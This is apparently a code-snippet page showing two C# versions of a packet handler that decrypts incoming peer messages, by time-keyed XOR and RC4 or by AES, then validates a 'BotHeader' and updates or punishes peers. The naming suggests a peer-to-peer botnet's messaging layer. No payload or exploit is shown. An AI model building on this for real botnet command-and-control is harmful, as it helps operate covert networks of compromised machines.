Exemplo n.º 1
0
        private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
        {
            var data = e.Payload;

            var now     = new TimeSpan(DateTime.UtcNow.Ticks);
            var minutes = now.TotalMilliseconds / (1000 * 60);
            var xor     = new Mod2(BitConverter.GetBytes(minutes));

            xor.Decrypt(data);

            var rc4 = new Rc4(_botId.ToByteArray());

            rc4.Decrypt(data);

            var botHeader = BotHeader.Decode(data);

            if (!IsValidHeader(botHeader))
            {
                _peerList.Punish(botHeader.BotId);
                return;
            }

            botHeader.EndPoint = e.Proto;
            _peerList.UpdatePeer(botHeader.BotId);
            Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data));
        }
Exemplo n.º 2
0
        private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
        {
            var data  = e.Payload;
            var count = e.Count;

            PeerInfo peerInfo;

            if (_peerList.TryGet(e.Proto, out peerInfo) && peerInfo.EncryptionKey != null)
            {
                data = Aes.Decrypt(data, 0, count, peerInfo.EncryptionKey);
            }

            var botHeader = BotHeader.Decode(data);

            if (!IsValidHeader(botHeader))
            {
                Logger.Warn("Invalid message received by bot {0} from {1}", botHeader.BotId, e.Proto);
                _peerList.Punish(botHeader.BotId);
                return;
            }

            botHeader.EndPoint = e.Proto;
            _peerList.UpdatePeer(botHeader.BotId);

            var args = new PackageReceivedEventArgs <BotHeader>(botHeader, data, count);

            Events.Raise(BotPackageReceivedEventArgs, this, args);
        }